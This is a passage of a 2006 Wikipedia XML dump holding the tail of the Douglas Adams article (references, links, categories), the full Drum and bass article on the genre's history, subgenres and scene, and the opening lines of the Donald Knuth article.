#{{Note|2004bookslut}} [http://www.bookslut.com/nonfiction/2004_05_002057.php May 2004 review of] ''[[Don't Panic: The Official Hitchhikers Guide to the Galaxy Companion|Don't Panic]]'' by [[Neil Gaiman]].
#{{Note|HitchhikerUS236}} {{cite book | author=Simpson, M. J. | title=Hitchhiker: A Biography of Douglas Adams | pages = Page 236 | edition =First U.S. hardcover edition | publisher=Justin, Charles and Co. | year=2003 | id=ISBN 1-932112-17-0}}
#{{Note|42PuzzleCovers}} [http://www.iblist.com/series.php?id=2 Internet Book List] page, with links to all five novels, and reproductions of the 1990s paperback covers that included the [[42 Puzzle]].
#{{Note|ScriptBookTwo356}} {{cite book | author=Adams, Douglas. As Dramatized and Directed by [[Dirk Maggs]]. | title=The Hitchhiker's Guide to the Galaxy Radio Scripts: The Tertiary, Quandary and Quintessential Phases | pages = Page 356 | publisher=Pan Books | year=2005 | id=ISBN 0-330-43510-8}}
#{{Note|Webb2005_49}} Webb, page 49.
#{{Note|ProcolHarum}} [http://www.procolharum.com/dadams.htm Text of one of Douglas Adams's introductions of Procol Harum in concert], this one was read on [[8 February]] [[1996]]. 
#{{Note|Hyperland_IMDb}} [http://www.imdb.com/title/tt0188677/ Internet Movie Database's page for ''Hyperland''].
#{{Note|Gaiman2003_169}} {{cite book | author=[[Neil Gaiman|Gaiman, Neil]] | title=Don't Panic: Douglas Adams &amp; The Hitchhiker's Guide to the Galaxy | edition=Second U.S. edition | publisher=Titan Books | year=2003 | pages=Page 169 | id=ISBN 1-84023-742-2}}
#{{Note|AmAtheists}} [http://www.americanatheist.org/win98-99/T2/silverman.html David Silverman's interview with Douglas Adams] which first appeared in the American Atheists' Winter 1998-1999 newsletter.
#{{Note|DNAML}} [http://www.savetherhino.org/events/lectures__talks/the_fourth_douglas_adams_memorial_lecture.phtml Details of Fourth Douglas Adams Memorial Lecture].
#{{Note|TGAP}} {{cite book | author=[[Paola Cavalieri|Cavalieri, Paola]] and [[Peter Singer]], editors | title=The Great Ape Project: Equality Beyond Humanity | edition=U.S. Paperback | publisher=St. Martin's Griffin | year=1994 | pages=pages 19-23 | id=ISBN 0-312-11818-X}}
#{{Note|Simpson2003_184-5}} Simpson, pages 184-5.
#{{Note|LCtC_59}} {{cite book | author=Adams, Douglas and [[Mark Carwardine]] | title=Last Chance to See | edition=First U.S. Hardcover | publisher=Harmony Books | year=1991 | pages=Page 59 | id=ISBN 0-517-58215-5}}
#{{Note|Adams2002_90-1}} {{cite book | author=Adams, Douglas | title=The Salmon of Doubt: Hitchhiking the Galaxy One Last Time | edition=First UK hardcover edition | publisher=Macmillan | year=2002 | pages=Pages 90-1 | id=ISBN 0-333-76657-1}}
#{{Note|AdamsForum}} [http://www.douglasadams.com/cgi-bin/mboard/info/dnathread.cgi?2922,1 Adams's final post on his forums at douglasadams.com]
#{{Note|GoogleAFDA1}} [http://groups-beta.google.com/group/alt.fan.douglas-adams alt.fan.douglas-adams] access through [[Google]]'s newsgroup reader.
#{{Note|Webb2005_ch10}} Webb, Chapter 10.
#{{Note|2003WebbBio}} [http://www.douglasadams.com/news/#20030703-0-n.dna Press release announcing Nick Webb's biography of Adams] from [[2 July]] [[2003]].
#{{Note|2002Video}} [http://www.douglasadams.com/news/#20020415-0-n.dna Press release announcing the] ''Life, the Universe, and Douglas Adams'' documentary video from [[15 April]] [[2002]].
#{{Note|MSNBC}} [http://www.msnbc.msn.com/id/6867061/ MSNBC article] about the announcement of an Asteroid named after Adams, dated [[25 January]] [[2005]].

==See also==
*[[H2G2|h2g2]]
*[[Towel Day]]
*[[The Hitchhiker's Guide to the Future]], Adams's final project for [[BBC Radio 4]] before his death.
*A list of verified influences that the ''Hitchhiker's Guide'' had on popular culture can be found in the article [[The Hitchhiker's Guide to the Galaxy cultural references]].

==External links==
{{wikiquote}}
{{Spoken Wikipedia-2|2006-02-11|Douglas_Adams_Part_1.ogg|Douglas_Adams_Part_2.ogg}}
*[http://www.douglasadams.com/ Douglas Adams's official web site], established by him, and still operated by [[The Digital Village]].
*[http://homepage.mac.com/dna/ Douglas Adams's .mac homepage]
*[http://wiredforbooks.org/douglasadams/ Two audio interviews of Douglas Adams (1983 &amp;ndash; 23 min. 58 sec, 1989 &amp;ndash; 25 min. 07 sec.) by Don Swaim of CBS Radio, RealAudio]
*[http://webcast.ucsd.edu:8080/ramgen/UCSD_TV/5779UniCalSanBar.rm Parrots, the Universe and Everything, 87 min talk at University of California Santa Barbara, 2001 (RealAudio)]
*[http://www.biota.org/people/douglasadams/  Douglas Adams speech at Digital Biota 2 (1998)]
*[http://books.guardian.co.uk/authors/author/0,5917,-181,00.html Guardian Books &quot;Author Page&quot;], with profile and links to further articles.
* {{isfdb name|id=Douglas_Adams|name=Douglas Adams}}
* {{iblist name|id=5|name=Douglas Adams}}
* {{ibdof name|id=42|name=Douglas Adams}}
*{{imdb name|id=0010930|name=Douglas Adams}}
*[http://www.rotten.com/library/bio/authors/douglas-adams/ Douglas Adams] &amp;mdash; Rotten.com library article.

===Fan sites===
*[http://www.douglasadams.se/ Douglas Adams Continuum], a very active fan site and forum hosted in Sweden and run by Jenz Kjellberg.
*[http://www.douglasadams.info An English Language fansite] by Nicolas Botti.
*[http://www.zz9.org/ ZZ9 Plural Z Alpha] The official ''Hitchhiker's Guide to The Galaxy'' Appreciation Society
*[http://www.hhgttgonline.com/ Another Hitchhiker's Guide fansite], hosted in the USA, run by Jake Russell.
*[http://www.zootle.net/afda/faq/HomePage FAQ about Adams], compiled from the alt.fan.douglas-adams newsgroup.
*[http://www.spindlebook.com/ Home Page of Comedy SciFi writer Ian Taylor], whose work is frequently compared to that of Douglas Adams.
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[[Category:Absurdist fiction|Adams, Douglas]]
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[[Category:Atheists|Adams, Douglas]]
[[Category:British comedy writers|Adams, Douglas]]
[[Category:British science fiction writers|Adams, Douglas]]
[[Category:British television writers|Adams, Douglas]]
[[Category:Cambridge Footlights|Adams, Douglas]]
[[Category:Doctor Who story editors|Adams, Douglas]]
[[Category:Doctor Who writers|Adams, Douglas]]
[[Category:English humorists|Adams, Douglas]]
[[Category:English novelists|Adams, Douglas]]
[[Category:Entertainers who died in their 40s|Adams, Douglas]]
[[Category:Interactive fiction writers|Adams, Douglas]]
[[Category:Natives of Cambridgeshire|Adams, Douglas]]
[[Category:Polymaths|Adams, Douglas]]

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{{featured article}}</text>
    </revision>
  </page>
  <page>
    <title>Drum and bass</title>
    <id>8092</id>
    <revision>
      <id>42092450</id>
      <timestamp>2006-03-03T19:54:40Z</timestamp>
      <contributor>
        <username>Frantik</username>
        <id>587611</id>
      </contributor>
      <comment>expanded on early history of dnb, gave examples of records.</comment>
      <text xml:space="preserve">{{genrebox|name=[[Drum and bass]]
|color=silver
|bgcolor=black
|stylistic_origins=[[Breakbeat hardcore]], [[Techno music|Techno]], [[Hip-hop]], [[Reggae]]/[[Ragga]], [[Dancehall]]/[[Dub (music)|Dub]], [[Funk]], [[Breakbeat]]
|cultural_origins=early/mid-1990s, [[London]], [[Bristol]]
|instruments=[[Synthesizer]] - [[Drum machine]] - [[Music sequencer|Sequencer]] - [[Keyboard instrument|Keyboard]] - [[Sampler (musical instrument)|Sampler]] - [[Laptop]]
|popularity=Small, largely based in [[United Kingdom|UK]] at first, now global
|derivatives=
|subgenrelist=List of electronic music genres
|subgenres=[[Clownstep]] - [[Darkstep]] - [[Drumfunk]] - [[Hardstep]] - [[Intelligent drum and bass]] - [[Jump-Up]] - [[Jungle music|Jungle]] - [[Liquid funk]] - [[Neurofunk]] - [[Techmospheric]] - [[Techstep]] - [[Wobble]]
|fusiongenres=[[Breakcore]] - [[Breakstep]] - [[Dubstep]] - [[Techbreaks music|Techbreaks]] - [[Jazzstep]]
|regional_scenes= 
|other_topics=[[List of jungle and drum n bass artists|Drum and bass artists]], [[List of jungle and drum n bass record labels|Drum and bass record labels]]
}}
'''Drum and bass''' (commonly abbreviated '''dnb''') is a type of [[electronic dance music]] also known as '''jungle'''. 

It began as an offshoot of the [[United Kingdom]] [[breakbeat hardcore]] and [[rave]] scene and came into existence in the early 1990s.  Over the first decade of its existence, drum and bass saw many permutations in style, incorporating everything from [[reggae]] and [[jazz]] to [[techno]] and [[trance]]. Today it is usually heard in [[nightclubs]] and its most recognizable features include a heavy emphasis on fast tempo drums in addition to loud intricate [[bassline]]s.

==History==
===Beginnings in the UK===
Drum and bass has its origins in breakbeat hardcore, a part of the UK rave scene.  Hardcore DJ typically played their records at fast tempos, and breakbeat hardcore emphasised breakbeats over the [[4-to-the-floor]] beat structure common to [[house music]].  Breakbeat harcore records  (commonly called 'tunes' within the community) Lennie De Ice's &quot;We are I.E&quot; ([[1991]]) and LTJ Bukem's ''Demon's Theme'' (1991) are generally credited [http://www.discogs.com/release/156749] as being among the first to have a recognizable drum and bass sound.  

Most hardcore tracks at the time were extremely light and upbeat; the most extreme example of this was the so called &quot;toy-town&quot; track such as Smart E's' ''Sesame's Treat'' which features the children's show ''[[Sesame Street]]'' theme song.  This style of hardcore would many years later be known as [[happy hardcore]].

In response to these lighter tracks, some producers started focusing on darker, more aggressive sounds; this style became known as [[darkcore]].  Strange noises and effects, syncopated rhythms made from rearranged funk [[breaks]] and loud bass lines defined the genre.  Examples of darkcore include [[Goldie]]'s '''Terminator''' (1992) and Nasty Habits' (aka [[Doc Scott]]) ''Here Comes the Drumz'' (1992).    

This darker, more aggressive sound appealed to many in the [[dancehall]] and raggae communities.  Both darkcore and dancehall shared an emphasis on rhythm and bass, and the tempos were well suited to be mixed together.  Soon many elements of dancehall raggae were being incorporated into the hardcore sound.

Whilst it has been suggested that it was the dancehall-aware black youth of Britain who fueled the drum and bass scene in the early days, this is not entirely true as there was substanial white following in northern British cities. The drum and bass [[subculture]] today has retained this racial diversity.  

The influence of Jamaican sound-system culture can be found in the use of basslines and remixing techniques derived from [[Dub]] and [[Reggae]] music, alongside the fast breakbeats and samples derived from urban musics such as [[hip-hop]], [[Funk]], [[jazz]], and [[r&amp;b]] alongside many production techniques borrowed from early electronic music such as [[house]], and [[techno]].

As the genre aged, the use of sampled funk breakbeats became increasingly complex (most notably and wide spread is the [[Amen break]] taken from a b-side funk track &quot;Amen, My Brother&quot; by the Winston Brothers) producers began cutting apart loops and using the component drum sounds to create new rhythms.  To match the complex drum lines, basslines which had less in common with the simple patterns of house and techno music than with the complex phrasings of dub and hip-hop began to be used.  Gradually, the bass and drum elements began to dominate to the music and -- combined with the liberal use of 32nd notes and abstract time signatures -- drum and bass became incompatible with house and techno and began to develop its own separate identity.  This sonic identity became highly-distinctive for both the depth of its bass and the increasingly-complex, rapid-fire breakbeat percussion.  Vastly different rhythmic patterns were distinctively being used, as well as new types of sampling, synthesis and effects processing techiniques, resulting in a greater focus on the intricacies of sampling/synthesis production and rhythm. This notably included early use of the [[Time stretching]] effect which was often used on percussion or vocal samples. As the influences of reggae and dub became more prominent, the sound of drum and bass began to take on an urban sound which was heavily influenced by ragga and dancehall music as well as hip-hop, often incorporating the distinctive vocal styles of these musical genres.  This raggae/dancehall influenced sound is most commonly associated with the term jungle.

However, as the early nineties saw drum and bass break out from its underground roots and begin to win popularity with the general British public, many producers attempted to expand the influences of the music beyond the domination of ragga-based sounds. By 1995, a counter movement to the ragga style was emerging, dubbed &quot;[[intelligent drum and bass|intelligent]]&quot; drum and bass by the music press, and embodied by producers such as [[LTJ Bukem]] and his [[Good Looking Organisation|Good Looking]] label. Some say that the move to intelligent drum and bass was a conscious and concerted reaction by top DJs and producers against a culture that was becoming tinged with &quot;gangsta&quot; and violent elements, and stereotyped with the recognizable production techniques of the ragga-influenced producers.  Intelligent drum and bass maintained the uptempo breakbeat percussion, but focused on more atmospheric sounds and warm, deep basslines over vocals or samples which often originated from [[Soul music|Soul]] or [[Jazz]] music.  From this period on, drum and bass would maintain the unity of a relatively-small musical culture, but one characterised by a competing group of stylistic influences.  Although many DJs have specialised in distinctive sub-genres within jungle and drum and bass, the majority of artists within the genre remain connected via record labels, events and radio shows. 

Jungle being a specific musical culture, has also resulted in the appearance of [[junglist]] [[subculture]], which, while not nearly as distinctive, alienated, ideological or obvious as other youth subcultures, and having many similarities with hip-hop styles and behaviour, does function distinctively within the drum &amp; bass listening community.

====Early pioneers====
Pioneers such as Bizzy B, [[Remarc]], Krome &amp; Time, [[Technical Itch]], [[Fabio (DJ)|Fabio]], [[DJ Hype]], [[Grooverider]], [[L Double]], [[Andy C]], [[Roni Size]], [[DJ SS]], [[Brockie]], [[Aphrodite (artist)|Aphrodite]], [[Ray Keith]], [[Kenny Ken]], [[Goldie]], [[Jonny Waines]], [[LTJ Bukem]], [[Omni Trio]] and other DJs quickly became the stars of the genre. Other early artists include [[A Guy Called Gerald]] (seminal track &quot;28 Gun Bad Boy&quot;) and [[4hero]] (&quot;Mr Kirk's Nightmare&quot;) who later developed own styles, leaving the drum and bass mainstream. However, many of the early producers and DJs still produce and play in today's scene, forming something of a jungle 'old guard'.

===Jungle to drum and bass===
The phrase &quot;drum and bass&quot; had been used for years previously in the London soul and funk pirate radio scenes (and was even a bit of a catchphrase for UK Radio 1's R&amp;B Guru [[Trevor Nelson]] in his pirate days, who used it to describe the deeper, rougher funk and &quot;rare groove&quot; sound that was popular in London at the time. A formal station ID jingle used on legendary London pirate [[Kiss 100|Kiss FM]] from the late 1980s would proclaim &quot;Drum and Bass style on Kiss&quot;). 

Since the term jungle was so closely related to the raggae influenced sound, DJs and producers who did not incorporate raggae elements began to adopt the term &quot;drum and bass&quot; to differentiate themselves and their musical styles.  The mid 1990s also saw a large splintering of the scene.  Each sub-genre would tend to be known by its name as opposed to either jungle or drum and bass, though today all sub-genres are usually grouped by the umbrella term ''drum and bass''.

As intelligent drum and bass gained in popularity, the [[ragga jungle]] sound became more stripped-down;  The complex chopped beats were dropped in favor of simplified rhythms featuring loud, aggressive-sounding snare drums.  This hard percussive style eventually became known as [[hardstep]].  Simultaneously, certain producers developed a more hiphop and funk influenced style known as [[jump-up]], which was exemplified by artists like Mickey Finn and [[Aphrodite (artist)|Aphrodite]] (with their [[Urban Takeover]] label), and the releases on the [[Ganja Kru]]'s [[True Playaz]] label.  Outside these genres, which became the most popular styles, other artists pushed a smoother, dubby style of music which had more in common with the jazzy and soulful interests of intelligent drum and bass. Records in this style were often referred to as ''rollers''.  

Through 1996, hardstep and jump-up sounds were very popular in clubs and at raves, whereas intelligent drum and bass was pushing a sound which was considered more accessible to the home listener.  This resultied in the popularity of the style with mainstream music magazines, as CD album releases by [[4 Hero]] and [[Goldie]] were more readily-available than the underground dubplates which characterised the club-based styles.  Stylistically, drum and bass began to adopt an ever more diverse range of influences, crossbreeding with many other forms of dance music to produce a series of hybrid sounds.  In 1997, a sound which was influenced by the double-bass work of jazz musicians came to the forefront, producing a funky, accessible style which achieved mainstream success for artists such as [[Roni Size]] and [[Reprazent]].  The group's ''New Forms'' album won the UK's [[Mercury Prize]], and their innovative live band helped drum and bass to break out of the DJ circuit, winning acclaim for performances at music festivals and on television shows.

Around this time, drum and bass also sealed its popularity by winning a Friday night slot on [[Radio One]], the [[BBC]]'s flagship radio station. Initially presented by a revolving groups of jungle luminaries, hosted by [[MC Navigator]], the station eventually secured the presenting services of [[Fabio (DJ)|Fabio]] and [[Grooverider]], two of the oldest and most-respected DJs in the scene.

===The birth of techstep===
As a lighter sound of drum and bass began to win over the musical mainstream, many producers continued to work on the other end of the spectrum, resulting in a series of releases which highlighted a dark, technical sound which drew more influence from [[techno music|Techno]] and the soundscapes of [[science fiction]] and [[anime]] films. This style was championed by the labels Emotif and [[No U-Turn]], and artists like Trace, [[Ed Rush]] and [[Optical (artist)|Optical]], and [[Dom and Roland]], and is commonly referred to as [[techstep]].  Techstep focused intensely on studio production and applied new techniques of sound generation and processing to older jungle appraoches. Self-consciously underground, and lacking the accessible influences of much other drum and bass, techstep is deeply atmospheric, often characterized by sinister or science-fiction themes, cold and complex percussion, and dark, distorted basslines.  

As the 1990s drew to a close, drum and bass withdrew from mainstream popularity and concentrated on sounds which were popular in clubs, rather than on mainstream radio.  Techstep came to dominate the drum and bass genre, with artists like [[Konflict]] and [[Bad Company (drum and bass artist)|Bad Company]] amongst the most visible.  As time went on, techstep was becoming more minimal, and increasingly dark in tone, and the funky, commercial appeal represented by Roni Size back in 1997 was waning.  However, 2000 saw an increasing movement to &quot;bring the fun back into drum and bass&quot;, heralded by the chart success enjoyed by singles from [[Andy C]] and [[Shimon]] (''Bodyrock'') and [[Shy FX]] and [[T Power]] (''Shake UR Body'').  In the clubs there was a new revival of rave-oriented sounds, as well as remixes of classic jungle tunes that capitalised on nostalgia and an interest in the origins of the music.  Many felt that jungle music had weathered the support, and then hostility, of the mainstream media (which had declared that &quot;Drum and bass is dead&quot; in the late 90s), and that the revival of chart success indicated that the style was more than a passing fashion.

===Since 2000===
Since the revival in popularity in 2000, the drum and bass scene has become very diverse, despite its relatively-small size, to the point where it is difficult to point to any one subgenre as the dominant style.  

In 2000, [[Fabio (DJ)|Fabio]] began championing a form he called [[Liquid funk]], with a compilation release of the same name on his [[Creative Source]] label.  This was characterised by influences from [[disco]] and [[house (music)|house]], and widespread use of vocals.  Although slow to catch on at first, the style grew massively in popularity around 2002-2004, and by 2004 it was established as one of the biggest-selling subgenres in Drum &amp; Bass, with labels like [[Hospital Records]] and [[Soul:R]] and artists including [[High Contrast]], [[Calibre (artist)|Calibre]], [[Nu:Tone]], [[London Elektricity]] and [[Logistics (artist)|Logistics]] among its main proponents.

The decade also saw the revival of [[Jump-Up]].  Referred to as &quot;Nu Jump Up&quot;, or pejoratively as [[Clownstep]], this kept the sense of fun and the simplistic, bouncing basslines from the first generation of Jump Up, but with tougher, harder production values.  Prominent Nu Jump Up artists include [[Twisted Individual]], [[Generation Dub]], and [[DJ Hazard]].

Sales figures for 2004 suggest that liquid funk and Nu Jump Up combined probably account for a significant majority of the drum and bass market.

The period also saw the rise of a style known as [[Dubwise]], which returned drum and bass to its reggae-influenced roots, combined with modern production techniques which had advanced immeasurably since the early days of jungle.  Although the dub-influenced sound was not new, having long been championed by artists like [[Digital (artist)|Digital]] and [[Spirit (artist)|Spirit]], 2003-2004 saw a significant increase in its popularity and visibility, with new artists like [[Amit]] at the forefront.

Similarly, whilst there had long been a niche dedicated almost entirely to detailed drum programming and manipulation, championed by the likes of [[Paradox (artist)|Paradox]], the first half of this decade saw a revival and expansion in the subgenre known variously as [[Drumfunk]], &quot;Edits&quot;, or &quot;Choppage&quot;.  Major labels include [[Inperspective]] and the new wave of artists in this style include [[Fanu]], [[Breakage]], and [[Fracture and Nepture]].

The new millennium also saw a fresh wave of live drum and bass bands.  The likes of [[Reprazent]] and [[Red Snapper]] had performed live drum and bass during the 1990s, but the re-creation of [[London Elektricity]] as a live band focussed renewed interest on the idea, with acts like [[The Bays]], [[Keiretsu (band)|Keiretsu]], [[Deadsilence Syndicate]] and [[Ultra-Violet]] pursuing this avenue.

===The global scene in 2005===
The other major development largely occurring since the turn of the millennium is geographical: from UK-oriented beginnings, drum and bass has firmly established itself worldwide.  There are strong scenes in other English-speaking countries including the  [[USA]], [[Canada]], [[Australia]],  [[New Zealand]] and [[South Africa]].  It is popular across [[Europe]], especially in [[Germany]] and in [[The Netherlands]], [[Baltics]], [[Russia]], and [[Ukraine]]. It is also popular in [[South America]]. Asia also has a drum and bass scene in places like Singapore, Indonesia, Thailand, Malaysia and Hong Kong. São Paulo is sometimes called the drum and bass Ibiza. Brazilian drum and bass is sometimes called [[Sambass]], although in [[Venezuela]], artists have created Industrial forms of Drum and bass, and also [[Drill N Bass]] / [[intelligent dance music|IDM]], mixing also with Latin rhythms like [[Salsa music|Salsa]] or [[Latin Jazz]].ok

[[List of notable drum and bass artists]]

==Musicology of drum and bass==
There are many views of what constitutes &quot;real&quot; drum and bass as it has many scenes and styles within it, from heavy pounding bass lines to the relaxed vibes of [[Liquid funk]]. It has been compared with [[jazz]] where the listener can get very different sounding music all coming under the same [[music genre]], because like drum and bass, it is more of an approach, or a tradition, than a style.  As such, it is difficult to precisely define; however, the following key features may be observed: 

===Defining characteristics===
====Basslines====
Regarded by many as being the most important musical element in drum and bass. Basslines exist in many forms, but most notably they originate from [[Sampling (music)|sampled]] sources or [[Synthesizer|synthesizers]]. Live played basslines are rare. Sampled basslines are often taken from [[double bass]] recordings or from publicly available loops. Synthesized basslines are very common and have sprouted a classic sound known as the ''Hoover'' or ''Reese''.

====Tempo====
Drum and bass is usually between 160-180 BPM, in contrast to other forms of [[Breakbeat]] such as [[Nu skool breaks]] which maintain a slower pace at around 130-140 BPM.  A general upward trend in tempo has been observed during the evolution of drum and bass.  The earliest Old School rave and breakbeat-descended jungle was around 155-165 BPM, whilst [[21st Century]] material rarely falls below 170BPM, and often hits 180BPM.

====Importance of drum and bassline elements====
The name &quot;drum and bass&quot; should not lead to the assumption that tracks are constructed solely from these elements.  Nevertheless, they are by far and away the most critical features, and usually dominate the mix of a track.  The genre places great importance on deep [[sub-bass|sub-bass]] which is felt physically as much as it is heard, the &quot;bassline&quot;.  There has also been considerable exploration of different [[timbre]]s in the bassline region, particularly within [[techstep]].

Despite the apparent simplicity, to the untrained ear, of drum &amp; bass productions, an inordinate amount of time is spent on preparing tracks by the more experienced producers.

In drum &amp; bass productions, the basslines are subjected to many and varied [[sound effect]]s, including standard techniques such as echo, flanger, chorus, over-drive, equalization, etc. and drum &amp; bass specific techniques such as the [[Reece Bass]]. These techniques are fully appreciated in a club or rave environment as only high grade bass speakers can fully reproduce the sounds of the eponymous bassline, whose frequences are sometimes lower than audible (they can however be felt on the body). This has led to the creation of of very large and intensely loud [[soundsystems]] by producers wishing to show off their tracks in a true high fidelity environment, such as [[Dillinja]]'s [[Valve Soundsystem]]. This however does not mean that the music cannot be appreciated on personal equipment.

The drum element, that is the syncopated break, is another that producers spend a very large amount of time on.  A drum fragment lasting seconds may often take a day or more to prepare, depending on the dedication of the producer, here [[Remarc]] is an acknowledged master.

===Context===
For the most part, drum and bass is a form of [[dance music]], mostly designed to be heard in [[Nightclub|clubs]].  It exhibits a [[full frequency response]] and physicality which often simply cannot be fully appreciated on home listening equipment. As befits its name, the bass element of the music is particularly pronounced, with the comparatively sparse arrangements of drum and bass tracks allowing room for basslines that are deeper than most other forms of dance music.  Consequently, drum and bass parties are often advertised as featuring uncommonly loud and bass-heavy sound systems.

Drum and bass is often heard via a [[DJ]].  Because most tracks are designed to be mixed by a DJ, their structure typically reflects this, with intro and outro sections designed for a DJ to use while beat-matching, rather than being designed to be heard in entirety by the listener.  The DJ typically mixes between records so as not to lose the continuous beat. In addition, the DJ may employ hip-hop style &quot;[[scratching]]&quot;, &quot;double-drops&quot; (where two tracks are synchronized such that both tracks [[drop (music)|drop]] at the same time), and &quot;rewinds.&quot;  

Most mixing points begin or end with the &quot;[[drop (music)|drop]]&quot;.  The drop is the point in a track where a switch of rhythm or bassline occurs and usually follows a recognisable build section and &quot;[[breakdown (music)|breakdown]]&quot;.  Sometimes the drop is used to switch between tracks, layering components of different tunes, though as the two records may be simply ambient breakdowns at this point, this could be considered lazier than blending the music where breakbeats play together. Some drops are so popular that the DJ will &quot;rewind&quot; or &quot;reload&quot; by spinning the record back and restarting it at the build.  This is a technique which can easily be overused as it breaks the continuity of a set. &quot;The drop&quot; is a key point from the point of view of the dancefloor, since the drumbreaks often fade out to leave an ambient intro playing. When the beats re-commence they are often more complex and accompanied by a heavier bassline, encouraging the crowd to dance. &quot;Jump up&quot; initially referred to the urge for those seated to dance at this point, though it came later to refer more specifically to a style of the music. A &quot;rewind&quot; would be popular here as the crowd could dance from the start of the record, and to the change in music they hadn't anticipated.

DJs are typically accompanied by one or more [[Master of Ceremonies|MC]]s, drawing on the genre's roots in [[hip hop music|hip hop]] and [[Reggae]]/[[Ragga]].

There are however many albums specifically designed for personal listening. The mix cd is a particularly popular form of release, with a big name dj/producer mixing live, or on a computer, a variety of tracks for personal listening.  Additionally, there are many albums containing unmixed tracks, suited for home or car listening.

===Relationship to other electronic music styles===
Recently, smaller scenes within the drum and bass community have developed and the scene as a whole has become much more fractured into specific sub-genres. Some major sub-genres of drum and bass include: 

* [[Breakcore]]
* [[Clownstep]] 
* [[Darkstep]]
* [[Drumfunk]] (or &quot;Choppage&quot;, &quot;Edits&quot;) 
* [[Dubstep]]
* [[Hardstep]]
* [[Intelligent drum and bass]] (or &quot;Atmospheric DnB&quot;)
* [[Jazzstep]] (&quot;Jazz and Bass&quot;)
* [[Jump-Up]] 
* [[Jungle music|Jungle]] 
* [[Liquid funk]]
* [[Neurofunk]]
* [[Techmospheric]] 
* [[Techstep]]
* [[Wobble]]

As with all attempts to classify and categorize music, the above should not be treated as gospel. Many producers release albums which touch into many of the above styles.

[[Drill and bass]], a sub-genre of [[Intelligent dance music]] (also known as &quot;IDM&quot;), popularized by [[Aphex Twin]], features many of the same types of rhythms used in drum and bass and is generally focused on complexity in programming and instrumentation.  Amongst its main proponents include [[Squarepusher]], [[Amon Tobin]] and [[Venetian Snares]], amongst others.

====Jungle vs Drum and Bass====
The difference between jungle and drum and bass is one of the most common debates within the community.  There is no universally accepted semantic distinction between the terms &quot;jungle&quot; and &quot;drum and bass&quot;.  Some associate &quot;jungle&quot; with older material from the first half of the 1990s (sometimes referred to as &quot;jungle techno&quot;), and see drum and bass as essentially succeeding jungle.   Others use jungle as a shorthand for ragga jungle, a specific sub-genre within the broader realm of drum and bass.  In the [[USA]], the combined term &quot;Jungle Drum and Bass&quot; (JDB) has some popularity, but is not widespread elsewhere.  Probably the widest held viewpoint is that the terms are simply synonymous and interchangeable: drum and bass is jungle, and jungle is drum and bass.

[[DJ Hype]]: &quot;At the end of the day I am a ambassador for Drum and Bass the world over and have been playing for 16 years under the name Hype... To most of you out there Drum and Bass will be a important part of your lives, but for me Drum and Bass/Jungle is my life and always has been... We all have a part to play and believe me when I say I am no fucking bandwagon jumper, just a hard working Hackney man doing this thing called Drum and Bass/Jungle&quot; [http://www.realplayaz.co.uk/forum/showthread.php?t=13411]

==Appearances in the mainstream==
Certain drum and bass releases have found mainstream popularity in their own right, almost always material prominently featuring vocals. Perhaps the earliest example was [[Goldie]]'s ''[[Timeless (Goldie album)|Timeless]]'' album of 1995, along with Reprazent's ''New Forms'' in 1997.  More recently, tracks such as [[Shy FX]] and [[T-Power]]'s &quot;Shake UR Body&quot; gained a UK Top 40 Chart placing. [[Hive (record producer)|Hive's]] &quot;Ultrasonic Sound&quot; was also used in ''[[The Matrix]]'' soundtrack. More recently, video game tracks, specifically [[Rockstar Games]] releases, have contained many drum and bass tracks, i.e. the [[MSX]]/[[Grand Theft Auto: Liberty City Stories soundtrack#MSX 98|MSX 98]] radio station in ''[[Grand Theft Auto III]]'' and ''[[Grand Theft Auto: Liberty City Stories]]''.

On the other hand, [[pop music]] has also occasionally co-opted elements of drum and bass, albeit in watered-down fashion. Examples include [[Puretone]] and [[Girls Aloud]].  Drum and bass also often appears in advertising and TV.

==Record labels==
:''Main article: [[List of jungle and drum'n'bass record labels]]''

==Accessing drum and bass==
===Purchasing===
Drum and bass is mostly sold in 12-inch [[vinyl record|vinyl]] single format, although some albums, compilations and DJ mixes are sold on [[CD]]. File downloads are also becoming increasingly available.  Purchasing drum and bass can involve searching specialized record shops or using one of many online vinyl, CD and mp3 retailers, see [[List of drum &amp; bass on-line purchasing sites]].

===Media===
The best known drum and bass publication is ''[[Knowledge (magazine)|Knowledge]]''. Other publications include the longest running drum and bass magazine worldwide ''[[ATM Magazine]]'', [[Canada|Canadian]]-based ''[[Rinse Magazine]]'' and [[Austrian]]-based ''[[Resident (magazine)|Resident]]''.

The highest profile drum and bass radio show is [[Fabio (DJ)|Fabio]] and [[Grooverider]] on [[BBC Radio One]].  The BBC's &quot;urban&quot; station [[BBC 1Xtra|1Xtra]] also features the genre heavily, with DJs [[L Double]] and [[Bailey (DJ)|Bailey]] and Flight.  The genre has long been supported by [[pirate radio]] stations, particularly in London; these days, they are joined by a large, and ever-expanding number, of [[internet radio]] stations available globally. In the [[United States|US]], [[XM Satellite Radio]] dedicates two hours a day to its drum and bass show, &quot;Pressure&quot;, on channel 80 - [[The Move (XM)]].

Drum and bass has a strong online presence with many dedicated portals, forums and communities.  Some of the largest of these are linked below.

==Books==
* ''All Crews: Journeys Through Jungle / Drum and Bass Culture'' by [[Brian Belle-Fortune]] (ISBN 0954889703)
* ''The Rough Guide to Drum 'n' Bass'' by Peter Shapiro and Alexix Maryon (ISBN 1858284333)
* ''State of bass, jungle: the story so far'' by Martin James, boxtree (ISBN 0752223232)

==See also==
* [[List of jungle and drum n bass artists]]
* [[List of jungle and drum n bass record labels]]
* [[Dubplate]]
* [[Junglist]]

==External links==
{{commons|Category:Drum and bass}}

* [[rolldabeats]] ([http://www.rolldabeats.com/ rolldabeats.com]) - comprehensive discography database
* [http://www.breakbeat.co.uk Drum &amp; Bass Arena] - a DnB portal/forum.  
* [http://www.dogsonacid.com Dogs On Acid] - The world's largest drum and bass / jungle message board with news, interviews and dubplates.
* [http://www.henus.co.uk Henus] - a DnB portal/forum dedicated to production.


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      <text xml:space="preserve">[[Image:KnuthAtOpenContentAlliance.jpg|thumb|Donald Knuth at a reception for the [[Open Content Alliance]].]]

'''Donald Ervin Knuth''' (born [[January 10]], [[1938]]) is a renowned [[computer science|computer scientist]] and [[Emeritus_Professor#Other_positions:|professor emeritus]] at [[Stanford University]].

